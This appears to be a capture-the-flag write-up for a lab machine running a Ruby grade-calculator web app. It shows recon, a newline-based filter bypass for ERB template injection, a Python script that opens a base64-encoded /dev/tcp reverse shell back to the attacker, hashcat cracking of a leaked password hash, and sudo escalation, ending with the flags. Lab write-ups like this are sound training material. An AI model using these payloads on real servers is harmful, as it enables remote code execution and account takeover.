Perfection

Author

0x42697262

Category

Linux

Difficulty

Easy

Play Date

2024/05/20 - 2024/06/19

Introduction

A vulnerable Ruby web server hosted on Linux.

Reconnaissance

  1. Scan the web server 10.10.11.253 for open ports.

  2. Find potential vulnerabilities.

  3. Try to exploit them.

  4. Get Flag.

NMAP Scan

Scan with nmap

$ nmap -sS -sV -sC -O -oN perfection.txt 10.10.11.253

Nmap scan report for 10.10.11.253
Host is up (0.27s latency).
Not shown: 998 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.6 (Ubuntu Linux; protocol 2.0) (1)
| ssh-hostkey:
|   256 80:e4:79:e8:59:28:df:95:2d:ad:57:4a:46:04:ea:70 (ECDSA)
|_  256 e9:ea:0c:1d:86:13:ed:95:a9:d0:0b:c8:22:e4:cf:e9 (ED25519)
80/tcp open  http    nginx (2)
|_http-title: Weighted Grade Calculator
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
TCP/IP fingerprint:
OS:SCAN(V=7.92%E=4%D=5/20%OT=22%CT=1%CU=35182%PV=Y%DS=2%DC=I%G=Y%TM=664B539
OS:C%P=x86_64-pc-linux-gnu)SEQ(SP=106%GCD=1%ISR=10E%TI=Z%CI=Z%II=I%TS=A)OPS
OS:(O1=M537ST11NW7%O2=M537ST11NW7%O3=M537NNT11NW7%O4=M537ST11NW7%O5=M537ST1
OS:1NW7%O6=M537ST11)WIN(W1=FE88%W2=FE88%W3=FE88%W4=FE88%W5=FE88%W6=FE88)ECN
OS:(R=Y%DF=Y%T=40%W=FAF0%O=M537NNSNW7%CC=Y%Q=)T1(R=Y%DF=Y%T=40%S=O%A=S+%F=A
OS:S%RD=0%Q=)T2(R=N)T3(R=N)T4(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T5(R
OS:=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)T6(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F
OS:=R%O=%RD=0%Q=)T7(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)U1(R=Y%DF=N%
OS:T=40%IPL=164%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK=G%RUD=G)IE(R=Y%DFI=N%T=40%CD
OS:=S)

Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
1 SSH Port Open
2 HTTP Port Open

OpenSSH 8.9p1 doesn’t seem to have any obvious vulnerabilities. I looked through Metasploit to see if there are any exploits for that version. I found nothing usable as of my knowledge.

However, browsing the web server might give more clues.

Ruby Web Server

Opening http://10.10.11.253:80/ returns the home page.

web home
Figure 1. Weighted Grade Calculator Home Page

While reading the web server, it appears that the web server were made by security students who are probably inexperienced. So, I went and checked their web app.

web calc
Figure 2. Weighted Grade Calculator Web App

There were inputs. Bingo! One should not easily assume it’s vulnerable but I can always test it.

Thus, I tried to use the web app normally. It worked as expected. However, the web app doesn’t make a POST request if the categories are not completely filled. The sum of the Weight (%) must all equal to 100%.

input1
Figure 3. Basic Input

Since this is a web application, the next thing I wanted to see is the request and response of the web app. It returns a response of JSON data.

result1
Figure 4. Basic Input Log

But it appears that the values are placed directly on the page. Should I try doing XSS? Will there be input sanitization? What’s the point of XSS anyway? Okay, if not XSS, then some sort of injection can be used, right?

result html source
Figure 5. Result HTML Source

But since I didn’t wanna keep typing the inputs into the form, I copied the POST request as cURL command.

$ curl 'http://10.10.11.253/weighted-grade-calc' --data-raw 'category1=a&grade1=10&weight1=10&category2=b&grade2=10&weight2=20&category3=c&grade3=10&weight3=30&category4=d&grade4=10&weight4=30&category5=e&grade5=10&weight5=10' | grep -E "Your total grade is|Malicious input blocked"

Your total grade is 10%<p>a: 1%</p><p>b: 2%</p><p>c: 3%</p><p>d: 3%</p><p>e: 1%</p>

I added some grep commands to only output what I needed.

curl base
Figure 6. cURL Command

The command is too long, I tried trimming it down to one category but this just results in Malicious input blocked. Something not what I want.

I tried changing one of the category values into <script>alert(1);</script>. That didn’t work.

$ curl 'http://10.10.11.253/weighted-grade-calc' --data-raw 'category1=<script>alert(1);</script>&grade1=10&weight1=10&category2=b&grade2=10&weight2=20&category3=c&grade3=10&weight3=30&category4=d&grade4=10&weight4=30&category5=e&grade5=10&weight5=10' | grep -E "Your total grade is|Malicious input blocked"

Malicious input blocked

I kept wondering why it wouldn’t work. Then I realized that web browsers tends to encode the data of the request body. Thus, I tried doing that.

$ curl 'http://10.10.11.253/weighted-grade-calc' --data-raw 'category1=%3Cscript%3Ealert(1)%3B%3C%2Fscript%3E&grade1=10&weight1=10&category2=b&grade2=10&weight2=20&category3=c&grade3=10&weight3=30&category4=d&grade4=10&weight4=30&category5=e&grade5=10&weight5=10' | grep -E "Your total grade is|Malicious input blocked"

Malicious input blocked

But oh well, the same exact result. Bummer.

I tried using the symbols ( ) < > ; [ ] { } individually yet it still resulted the same error.

I didn’t know what kind of web server I am dealing with, I wanted to know what framework is used as backend. Turns out the answer was at the bottom of the website: WEBrick 1.7.0. This is a Ruby HTTP server toolkit. Now, that’s a progress.

I looked for exploits related to version 1.7.0 but the results on the web shows different versions and old as well. I didn’t know what I was doing. I was lost. I didn’t know what to look for. I searched and read more about attacks on web servers and I found what I needed, Server Side Template Injection.

Server Side Template Injection

Ruby got lots of templating engine but the common ones are Embedded Ruby (ERB) and Slim. I tried my luck with ERB by testing <%= Dir.entries('/') %> (which I found here). Of course that didn’t work as I would just get this error:

Invalid query parameters: invalid %-encoding (&amp;lt;%= Dir.entries(&amp;#x2F;) %&amp;gt;)

I forgot to encode it…​ When encoded, the result is still the same. Giving a malicious input blocked.

Encoded SSTI
%3C%25%3D%20Dir.entries(%27%2F%27)%20%25%3E

Once again, I am back on having to deal with bypassing the sanitization. Apparently, all we have to do is add a %0A newline encoded character before the input. But for it to work, there should be at least one valid character before it.

I didn’t understand why that works. This will be explained later on.

a%0A%3C%25%3D%20Dir.entries(%27%2F%27)%20%25%3E (1)
1 Added a%0A.

And we’re able to show the results!

Working SSTI
$ curl 'http://10.10.11.253/weighted-grade-calc' --data-raw 'category1=a&grade1=10&weight1=10&category2=b&grade2=10&weight2=20&category3=c&grade3=10&weight3=30&category4=d&grade4=10&weight4=30&category5=a%0a%3C%25%3D%20Dir.entries(%27%2F%27)%20%25%3E&grade5=10&weight5=10' | grep -E "Your total grade is|Malicious input blocked" -A 2

Your total grade is 10%<p>a: 1%</p><p>b: 2%</p><p>c: 3%</p><p>d: 3%</p><p>a
["dev", "libx32", "srv", "lib", "usr", "bin", "lib64", "lost+found", "sys", "var", "media", "tmp", "proc", "boot", "home", "opt", "lib32", "sbin", "run", "etc", "mnt", "..", "root", "."]: 1%</p>
    </div>

We can now create a reverse shell!

Exploitation

Before creating a reverse shell, I wanted to see if I can ping my host machine.

Check connection with tcpdump
$ tcpdump -i tun0 -A icmp

tcpdump: verbose output suppressed, use -v[v]... for full protocol decode
listening on tun0, link-type RAW (Raw IP), snapshot length 262144 bytes

Then made a ping request.

ERB Ping Request
$ curl 'http://10.10.11.253/weighted-grade-calc' --data-raw 'category1=a&grade1=10&weight1=10&category2=b&grade2=10&weight2=20&category3=c&grade3=10&weight3=30&category4=d&grade4=10&weight4=30&category5=a%0A%3C%25%3D%20system(%27ping%20-c1%2010.10.16.11%27)%20%25%3E&grade5=10&weight5=10'
Output of tcpdump after a ping request
20:37:26.149125 IP 10.10.11.253 > 10.10.16.11: ICMP echo request, id 6, seq 1, length 64
E..T.N@.?.V?

..

..........w.tf....c....................... !"#$%&'()*+,-./01234567
20:37:26.149149 IP 10.10.16.11 > 10.10.11.253: ICMP echo reply, id 6, seq 1, length 64
E..T1...@...

..

..........w.tf....c....................... !"#$%&'()*+,-./01234567

Meaning, it’s possible to connect from the web server to my machine!

I then setup netcat for reverse shell.

$ nc -lvnp 6969 (1)

listening on [any] 6969 ...
1 Pick any port you like

I didn’t like how I have to input the commands in the terminal so I made a Python script that will make a POST request to the server and make a reverse shell connection.

import urllib3
import base64
from urllib.parse import urlencode

REMOTE_HOST: str    = "10.10.11.253"
PATH: str           = "weighted-grade-calc"
LOCAL_HOST: str     = "10.10.16.11"
PORT: int           = 6969

payload: str        = base64.b64encode(f"0<&196; exec 196<>/dev/tcp/{LOCAL_HOST}/{PORT}; sh <&196 >&196 2>&196".encode('utf-8')).decode('utf-8')
b64_payload: str    = f"""<%= system("echo '{payload}' | base64 --decode | bash") %>"""

fields = {
    "category1"     : "a",
    "grade1"        : "10",
    "weight1"       : "10",
    "category2"     : "b",
    "grade2"        : "10",
    "weight2"       : "20",
    "category3"     : "c",
    "grade3"        : "10",
    "weight3"       : "30",
    "category4"     : "d",
    "grade4"        : "10",
    "weight4"       : "30",
    "category5"     : f"a\n{b64_payload}",
    "grade5"        : "10",
    "weight5"       : "10",
}
encoded_data = urlencode(fields)

print(f"Payload: curl 'http://{REMOTE_HOST}/weighted-grade-calc' --data-raw '{encoded_data}'")

http = urllib3.PoolManager()
resp = http.request(
    "POST",
    f"http://{REMOTE_HOST}/{PATH}",
    body=encoded_data,
)

The script is equivalent to executing

$ curl 'http://10.10.11.253/weighted-grade-calc' --data-raw 'category1=a&grade1=10&weight1=10&category2=b&grade2=10&weight2=20&category3=c&grade3=10&weight3=30&category4=d&grade4=10&weight4=30&category5=a%0A%3C%25%3D+system%28%22echo+%27MDwmMTk2OyBleGVjIDE5Njw%2BL2Rldi90Y3AvMTAuMTAuMTYuMTEvNjk2OTsgc2ggPCYxOTYgPiYxOTYgMj4mMTk2%27+%7C+base64+--decode+%7C+bash%22%29+%25%3E&grade5=10&weight5=10'

The reason I encoded the payload into base64 is so that it won’t get chopped up by the input sanitization. I don’t really understand why that’s needed but the payload doesn’t execute without it.

reverse shell
Figure 7. Reverse Shell Success

User Flag

Woops. Here’s the user flag.

$ cat ~/user.txt

a492e9d8a7e5c4d0cc14e27ce647d655

Root Flag

I tried looking around for possible ways to gain root access. Yep, clearly I do not know what to do. Thus, I just went and checked the files of the user directory of susan.

Susan’s Home Directory
$ ls -la

total 48
drwxr-x--- 7 susan susan 4096 Feb 26 09:41 .
drwxr-xr-x 3 root  root  4096 Oct 27  2023 ..
lrwxrwxrwx 1 root  root     9 Feb 28  2023 .bash_history -> /dev/null
-rw-r--r-- 1 susan susan  220 Feb 27  2023 .bash_logout
-rw-r--r-- 1 susan susan 3771 Feb 27  2023 .bashrc
drwx------ 2 susan susan 4096 Oct 27  2023 .cache
drwx------ 3 susan susan 4096 Oct 27  2023 .gnupg
lrwxrwxrwx 1 root  root     9 Feb 28  2023 .lesshst -> /dev/null
drwxrwxr-x 3 susan susan 4096 Oct 27  2023 .local
drwxr-xr-x 2 root  root  4096 Oct 27  2023 Migration (1)
-rw-r--r-- 1 susan susan  807 Feb 27  2023 .profile
lrwxrwxrwx 1 root  root     9 Feb 28  2023 .python_history -> /dev/null
drwxr-xr-x 4 root  susan 4096 Oct 27  2023 ruby_app (2)
lrwxrwxrwx 1 root  root     9 May 14  2023 .sqlite_history -> /dev/null
-rw-r--r-- 1 susan susan    0 Oct 27  2023 .sudo_as_admin_successful
-rw-r----- 1 root  susan   33 Jun 20 10:06 user.txt (3)
-rw-r--r-- 1 susan susan   39 Oct 17  2023 .vimrc
1 Database containing some credentials
2 The Ruby HTTP web server source code
3 User Flag

The /home/susan/Migration/ directory looks promising.

/home/susan/Migration/
$ ls -la

total 16
drwxr-xr-x 2 root  root  4096 Oct 27  2023 .
drwxr-x--- 7 susan susan 4096 Feb 26 09:41 ..
-rw-r--r-- 1 root  root  8192 May 14  2023 pupilpath_credentials.db

$ strings pupilpath_credentials.db

SQLite format 3
tableusersusers
CREATE TABLE users (
id INTEGER PRIMARY KEY,
name TEXT,
password TEXT
Stephen Locke154a38b253b4e08cba818ff65eb4413f20518655950b9a39964c18d7737d9bb8S
David Lawrenceff7aedd2f4512ee1848a3e18f86c4450c1c76f5c6e27cd8b0dc05557b344b87aP
Harry Tylerd33a689526d49d32a01986ef5a1a3d2afc0aaee48978f06139779904af7a6393O
Tina Smithdd560928c97354e3c22972554c81901b74ad1b35f726a11654b78cd6fd8cec57Q
Susan Millerabeb6f8eb5722b8ca3b45f6f72a0cf17c7028d62a15a30199347d9d74f39023f (1)
1 What we are probably interested in.

This seems like a database that stores the user’s password. I don’t know how to crack it. I don’t know what the conditions are. Is it an MD5 hash? SHA256? No idea.

What I did instead was list the directories: /var, /usr, /etc, /sys, and /srv. But only /var/ came up with something interesting.

Listing the /var/* directory
$ ls -la /var/*

... (1)
/var/mail:
total 12
drwxrwsr-x  2 root mail  4096 May 14  2023 .
drwxr-xr-x 13 root root  4096 Oct 27  2023 ..
-rw-r-----  1 root susan  625 May 14  2023 susan

/var/opt:
total 8
drwxr-xr-x  2 root root 4096 Feb 17  2023 .
drwxr-xr-x 13 root root 4096 Oct 27  2023 ..

/var/spool:
total 16
drwxr-xr-x  4 root   root 4096 Feb 17  2023 .
drwxr-xr-x 13 root   root 4096 Oct 27  2023 ..
drwxr-xr-x  3 root   root 4096 Feb 17  2023 cron
lrwxrwxrwx  1 root   root    7 Feb 17  2023 mail -> ../mail
drwx------  2 syslog adm  4096 May  2  2022 rsyslog
... (2)
1 Truncated results
2 Truncated results

Look, there’s a mail/ directory inside /var/! I wonder what’s inside. It is also made for susan.

Susan’s Mail
$ cat /var/mail/susan

Due to our transition to Jupiter Grades because of the PupilPath data breach, I thought we should also migrate our credentials ('our' including the other students

in our class) to the new platform. I also suggest a new password specification, to make things easier for everyone. The password format is:

{firstname}_{firstname backwards}_{randomly generated integer between 1 and 1,000,000,000}

Note that all letters of the first name should be convered into lowercase.

Please hit me with updates on the migration when you can. I am currently registering our university with the platform.

- Tina, your delightful student

Ah, now that makes sense. The database I saw earlier was the passwords for the students who probably developed the web server. Aaaaand it’s very insecure…​

The password of susan can easily be bruteforced. Before that, I need to identify the hashing algorithm being used. I looked online and I found out hash-id is built-in on ParrotOS.

Identifying the hash type of the password
$ hashid -m -j 'abeb6f8eb5722b8ca3b45f6f72a0cf17c7028d62a15a30199347d9d74f39023f'

Analyzing 'abeb6f8eb5722b8ca3b45f6f72a0cf17c7028d62a15a30199347d9d74f39023f'
[+] Snefru-256 [JtR Format: snefru-256]
[+] SHA-256 [Hashcat Mode: 1400][JtR Format: raw-sha256]
[+] RIPEMD-256
[+] Haval-256 [JtR Format: haval-256-3]
[+] GOST R 34.11-94 [Hashcat Mode: 6900][JtR Format: gost]
[+] GOST CryptoPro S-Box
[+] SHA3-256 [Hashcat Mode: 5000][JtR Format: raw-keccak-256]
[+] Skein-256 [JtR Format: skein-256]
[+] Skein-512(256)

It looks like a SHA256 hash. I wasn’t sure so I tested it on hashcat.

hashcat bruteforce
$ echo 'abeb6f8eb5722b8ca3b45f6f72a0cf17c7028d62a15a30199347d9d74f39023f' > /tmp/hash.txt
$ hashcat -m 1400 -a 3 -o /tmp/cracked.txt /tmp/hash.txt susan_nasus_?d?d?d?d?d?d?d?d?d?d
$ hashcat -m 1400 -a 3 -o /tmp/cracked.txt /tmp/hash.txt susan_nasus_?d?d?d?d?d?d?d?d?d?d --show (1)
1 Returns nothing.

The cracked hash is stored in /tmp/cracked.txt. The result is

Cracked hash password
$ cat /tmp/cracked.txt

abeb6f8eb5722b8ca3b45f6f72a0cf17c7028d62a15a30199347d9d74f39023f:susan_nasus_413759210

Let’s test susan_nasus_413759210.

Testing root access
$ sudo -l -S

[sudo] password for susan: susan_nasus_413759210
Matching Defaults entries for susan on perfection:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin,
    use_pty

User susan may run the following commands on perfection:
    (ALL : ALL) ALL


$ whoami

susan


$ sudo -i
$ ls

root.txt


$ whoami

root

Oh, it worked! We’re now root!

Showing the Flag
$ cat /root/root.txt

46d669fa19c3b6afa25e622410b7c469

Post-Exploitation

I wanted to see how the web server works. Thus, I went and grabbed the source code of the web server. It was stored in /home/susan/ruby_app/.

Challenge Summaries

Flag

user:a492e9d8a7e5c4d0cc14e27ce647d655

root:46d669fa19c3b6afa25e622410b7c469

Conclusion

I looked up few writeups online while doing the challenge when I got stuck. Not really a good feeling but I needed to learn. It is this writeup that made me realize of using shell commands in a way that I should be.

Writing this writeup after about 29 days of not touching the challenge was a good way to waste my time but at the same time redo the challenge without having to look stuffs up. I still had issues on trying to get passed the input sanitization thus I have to check if my inputs were wrong, they were the same. I just made small mistakes like typos.

Apparently, a better way to acquire the user flag is to use the find command and by executing the cat command.

Better way to print the user flag
$ find / -name "user.txt" -exec cat {} \; 2>/dev/null

a492e9d8a7e5c4d0cc14e27ce647d655

Similar to finding the root flag.

Better way to print the root flag
$ find / -name "root`.txt" -exec cat {} \; 2>/dev/null

46d669fa19c3b6afa25e622410b7c469
Files owned by the user
$ find / -uid 1001 -type f -ls 2>/dev/null | grep -v "/proc*"

    36258      4 -rw-------   1 susan    crontab      1168 May 14  2023 /var/spool/cron/crontabs/susan
     1020      4 -rw-r--r--   1 susan    susan          39 Oct 17  2023 /home/susan/.vimrc
     1031      4 -rw-r--r--   1 susan    susan         220 Feb 27  2023 /home/susan/.bash_logout
     1032      4 -rw-r--r--   1 susan    susan        3771 Feb 27  2023 /home/susan/.bashrc
     1033      4 -rw-r--r--   1 susan    susan         807 Feb 27  2023 /home/susan/.profile
     3653      0 -rw-r--r--   1 susan    susan           0 Oct 27  2023 /home/susan/.sudo_as_admin_successful
     2202      4 -rw-------   1 susan    susan          32 May 14  2023 /home/susan/.gnupg/pubring.kbx
     2233      4 -rw-------   1 susan    susan        1200 May 14  2023 /home/susan/.gnupg/trustdb.gpg
     1147      0 -rw-r--r--   1 susan    susan           0 Feb 28  2023 /home/susan/.cache/motd.legal-displayed
Files with the name of the user in it
$ find / -name "*susan*" -type f -ls 2>/dev/null

    39937      4 -rw-r-----   1 root     susan         625 May 14  2023 /var/mail/susan
    36258      4 -rw-------   1 susan    crontab      1168 May 14  2023 /var/spool/cron/crontabs/susan
     1227     12 -rw-r--r--   1 root     susan        8597 Apr  3  2023 /home/susan/ruby_app/public/images/susan.jpg
     1390      4 -rw-------   1 root     susan         168 Jun 20 14:39 /run/sudo/ts/susan
Files with the word password in the home directory
$ grep -i password -R /home/$(whoami) (1)

grep: /home/susan/Migration/pupilpath_credentials.db: binary file matches
1 Have to be logged in as susan.

I think I have skipped a lot in this writeup but that should be alright for future me since I only have to write stuffs that I will need.

Lessons Learned